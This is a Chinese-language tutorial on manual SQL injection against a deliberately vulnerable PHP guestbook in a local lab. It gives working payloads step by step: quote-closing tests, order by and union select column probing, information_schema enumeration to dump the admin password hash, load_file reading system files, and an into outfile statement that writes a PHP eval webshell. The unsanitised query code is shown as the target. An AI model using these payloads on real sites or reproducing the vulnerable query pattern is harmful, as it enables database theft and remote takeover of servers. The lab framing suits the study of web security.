前言:
最近刚开始学习PHP的web编程,由于之前一直关注的是其安全性问题,所以通过本次的学习和实验,理解并掌握了 PHP+Mysql的注射原理及其逐步深入利用.这里仅作学术性的讨论和分享.学习本文之前最好复习下SQL基础语法才能更好的理解.希望对新手朋友有帮助.
测试环境:XP+WAMPServer1.7.4套件+VMware
1.注射原理
SQL注射原理在ASP和PHP中本质是相同的,都是由于程序员在编写程序过程中没有过滤或者只是部分过滤不安全字符,导致非法用户可以远程合并且执行SQL语句来达到其目的.下面以我之前自己写的PHPGbook为中心展开今天的讨论.
(1)本次实验用到此系统的两种表book表[留言内容表]和admin表[含有管理员用户表].利用sql语句创建一个数据库gbook及数据库中的这两张表.代码如下:
CREATE DATABASE ‘gbook’; //创建数据库gbook
CREATE TABLE `gbook`.`book` ( //创建表book
`bid` INT NOT NULL AUTO_INCREMENT , //主键
`user` CHAR( 10 ) NULL , //留言用户名
`title` TINYTEXT NULL , //留言标题
`content` TEXT NULL ,//留言内容
`subtime` DATE NULL ,//提交时间
PRIMARY KEY ( `bid` ) //设置bid为主键
) ENGINE = InnoDB CHARACTER SET gbk COLLATE gbk_chinese_ci ;
//设置驱动及默认编码为GBK(为后面讲解铺垫)
CREATE TABLE `gbook`.`admin` (
`uid` INT NOT NULL AUTO_INCREMENT ,
`admin` CHAR( 10 ) NOT NULL ,//用户名
`pwd` TEXT NOT NULL , //用户密码,用MD5加密
PRIMARY KEY ( `uid` )
) ENGINE = InnoDB CHARACTER SET gbk COLLATE gbk_chinese_ci;
// 插入一条记录到admin表
INSERT INTO `gbook`.`admin` (`uid` ,`admin` ,`pwd`) VALUES (NULL , 'nohack',MD5( 'nohack' ));
创建这个过程是为了让大家熟悉表的结构及复习下SQL语句,当然如果你已经很熟悉可以直接利用GUI工具或者web管理来创建,这里请着重注意每个字段的类型.
(2)看看留言详情页面gshow.php代码:
<?php
include("gfun.php"); //包含利用的函数
showheader(); //头部显示
link(); //连接数据库
$bid=$_GET[bid]; //采用get方式获取bid
//关键SQL语句,直接带入语句,注意有2个单引号.
$show="select * from book where bid='".$bid."'";
$rs=mysql_query($show);//直接带入执行查询了,即所谓的注入产生了.
$result=mysql_fetch_array($rs);//获取记录集,如果提示这个出错,可以不管他,因为sql语句已经执行了.
?>
---------------------------------省略部分代码---------------------------------------
<td width=100>ID:<?php echo $result[bid];?></td>
<td width=659>标题:<?php echo $result[title];?></td>
</tr><tr><td colspan=2>内容:<?php echo $result[content];?></td>
</tr><tr>
<td>作者:<?php echo $result[user];//显示记录数据?></td>
<td>发布时间:<?php echo $result[subtime];?></td></tr>
---------------------------------省略部分代码---------------------------------------
由于是原理探讨,这里先关闭php.ini文件的GPC(GET/POST/COOKIE),因为如果不关闭有些会被转义.本文只探讨字符类型的注入原理,因为数字型的相对来说比较好理解.
2.漏洞基础利用
大家看到上面的源码可以发现如下语句:
$show="select * from book where bid='".$bid."'";
这个语句中bid变量用两个单引号括起来了,也就是说可以理解成字符型变量,尽管bid在数据库是INT类型.好了,这就要求在注入的时候必须注意闭合问题.
(1)单引号,and 1=1 及 and 1=2检测注入存在原理
当我们提交单引号后,SQL语句变成
Select * from book where bid=’1’’ //语法上就存在错误
显然不成立,因为还有一个单引号没有闭合就会出错.如图01:
看到出错了吧而且爆出了绝对路径.当提交and 1=1和and 1=2在这里还是会出错,为什么呢?想想,对在此强调,我们的sql语句在接收bid时必须注意单引号的闭合.想到这里,我们可以这样测试.’ And ‘1’=’1 和’ and ‘1’=’2,这样sql语句就变成了
Select * from book where bid=’1’ and ‘1’=’1’ //显然是成立的,显示正常页面
Select * from book where bid=’1’ and ‘1’=’2’ //本身语法没错了,但是不成立,显示错误页面
分别测试如图02,03:
页面正常显示,当提交’ and ‘1’=’2呢,如图03
显示内容为空,但是没有出错了.说明我们提交参数被执行了.这个就是检测注入的原理了.
(2)关于符号闭合的技巧
相信有朋友在检测总会遇到这样的问题,符号的闭合问题关系到你的注入是否能够继续.对于上面包含有单引号的SQL语句,有三种方法可以绕过(其他的情况类似,灵活应用即可.)
<1>配对符号方法,这种方法需要不断测试猜测,如上面单引号可以这样构造
’ SQL语句 and ‘’=’ //其中sql语句是你注入的具体语句,在前面加一个单引号先闭合前面那个,然后在最后添加and ‘’=’闭合后面那个就可以绕过了;
<2> 利用#符号,对asp了解的朋友应该都知道,防止数据库被下载的方法是将数据库名称命名为包含有#即可.其实,#可以看成是URL的截断符,也就是说#后面的全部没有执行,这样你想下载数据库就会提示找不到文件.假设我在目录下创建一个数据库并命名为te#st.mdb,我们试着下载看看,测试结果如图 04:
看到提示就知道其实他访问的是http://192.168.73.135/gbook/te当然提示不存在了.后面的#st.mdb给注释了.但是当将 URL中的#改成%23就可以正常绕过了,继续下载,所以写的时候要直接写成#字符.这个明白了,对于上面SQL我们还可以这样构造 ‘ SQL语句 # ,第一个单引号闭合前面的,而#则注释掉了后面的单引号,当然SQL语句也是正确的.但是必须注意本次的注入参数是通过GET方式获取的.所以利用#是无效的.
<3>/**/注释符号,原理和#类似,它是php中的一种注释符号.这里我不说,留给大家自行测试.
(3)猜解表名/段名/列数/值
当然SQL注入的最终目的是得到数据库的相关信息,比如管理员密码等.那么如何猜解这些信息?我们一起来看看下面两种方法:
<1>Order by方法猜解字段数
我们知道SQL语句有一个order by [字段名/索引号]排序语句,就是按照字段名和索引号来排序查询结果.由于我们不知道字段名所以只能通过索引即数字,当我们输入的索引号不存在时就会提示出错.因此我们可以通过此方法得到列数.如图05
当order by 5排序时正常显示,说明至少存在5个字段,当order by 6就出错了.如此可判断表有5个字段.
<2>Union联合查询配合系统表(MYSQL>5.0)
此方法可以查询表的列数即表里的内容,要知道这个表的内容必须知道表名和列名.我们知道如果是MSSQL,可以利用查询系统表才得到表名和列名,但是对于 Mysql5.0以下版本没有办法.所以一般先会查询下mysql版本号,同样我们必须清楚Union也必须是5.0以上版本才支持.查询版本执行:
‘ and ord(mid(version(),1,1))>51 and ‘1’=’1
返回正常则说明版本为5.0以上.这个是union查询和查询系统表的前提条件,现在大部分网站也都升级为5.0以上了,所以这点基本不用担心,对于5.0以下的就只能老老实实一个一个猜解了.
Union 查询的必须满足,查询列数和此次查询列数必须相等,否则会出错.通过这个原理我们可以判断原始查询表的列数,但是这个没用,我们可以另想办法.另外 union查询是将两个sql语句合并在一起并且将查询结果组合显示在一起.那么我们可以通过构造一个不存在的bid值,让union前面的SQL语句返回空,而后面的查询语句不能为空且列数相等,这样显示出来的结果就只有后面查询结果了.原理很好理解吧,那我们来看看实例操作,.比如要查询上述 admin表的列数,那么执行
‘ union select 1,2,3,4,5 and ‘1’=’1
当执行到6时就出错了,5不出错,说明有5个字段.进一步,我们可以具体插入一些系统函数或者字段名来查询,不能在1处,因为1处是一个INT型(可查看上面定义数据表),会出错.
http://192.168.73.135/gbook/gshow.php?bid=10'%20union%20select%201,user(),version(),database(),5%20and%20'1'='1
结果如图06,07:
注意上面SQL语句不能写成
‘ union select * from admin and ‘1’=’1
因为很多时候union前后查询的两张表的列数不一样,就会出错.刚好这里的admin表和book表的列数不相等因此会出错.也就是说类型要匹配即可.当然这里我们可以通过构造让他们列数一致,这里我们知道列数了,但是表名和段名都不知道如何猜解?一种方法是个人经验,就常见的表名猜解以下,这种方法,费时费力而且也可能猜解不出来,对于5.0以上版本,我们可以轻松的得到表名,我们对mysql的系统数据库use information_schema做下简单的介绍,并列出常用的几张表如下:
SCHEMATA #数据库名表,通过查询SCHEMA_NAME字段来得到数据库名;
TABLES #表名表,通过查询TABLE_SCHEMA字段查询所属的数据库名,TABLE_NAME查询出表的名称;’
COLUMNS #字段名,TABLE_SCHEMA表示所属数据库名,TABLE_NAME所属的表名,COLUMN_NAME表示字段名
Ok通过以上三个表的查询可以得到想猜解的表名和列名,不用在郁闷有注入得不到表名了. 这种方法flyh4t大牛已经在< >中说得很详细,我就不说了.通过此方法成功猜解到admin表的内容,如图08:
标题处是用户nohack密码nohack经过md5函数加密后的结果.由此可见Union配合系统表查询可以得到事半功倍的效果.
3. 由浅入深-load_File()及直接到处shell
(1) 我们知道load_file()函数可以查看文件内容,前提是当前的web用户对该文件有读取的权限,但是同时也必须清楚,load_file()的参数是十六进制或者ASCII码.所以在使用前先用编码工具转换以下,如我们想查看c:/boot.ini文件内容,则可执行:
http://192.168.73.135/gbook/gshow.php?bid=10'%20union%20select%201,admin,pwd,load_file(0x633A5C626F6F742E696E69),5%20from%20admin%20where%20uid=1%20and%20'1'='1
load_file中的0x633A5C626F6F742E696E69是c:/boot.ini的十六进制编码,如果想用ASCII编码则必须再加char函数来转换下即可.得到结果如图09:
那么就可以查看想对应文件的内容了,有些不是乱码还必须经过十六进制编辑器来转换以下就可以得到看得懂的内容.当然查看的内容不仅仅这些,还有更广的应用,具体可以参看sai52的< >,当然在具体实践中会存在很多限制,大家自行根据情况来解决.
(2)直接导出shell
直接输入注入语句:
select '<?php eval($_POST[cmd];?>' into outfile 'E:/wamp/www/gbook/1.php'
直接导出一个shell到web目录下了.这样就可以拿到shell了.
当然深入的利用远远不只这些,有兴趣的朋友可以继续研究测试或者跟我联系讨论.
结束语:
本文涉及原理性的东西比较多,希望新手朋友好好理解,另外如果不理解,可以从配书光盘上找到我提供的PHPgbook自己实验.原理搞清楚就会举一反三了, 另外,在实践中越来越多的网站通过注入工具是无法猜解的,所以手动注入是必须掌握的,只有真正掌握了原理才能灵活应用,希望本文能够得到抛砖引玉的效果. 有任何疑问可以到官方论坛找我讨论,ID:L4nk0r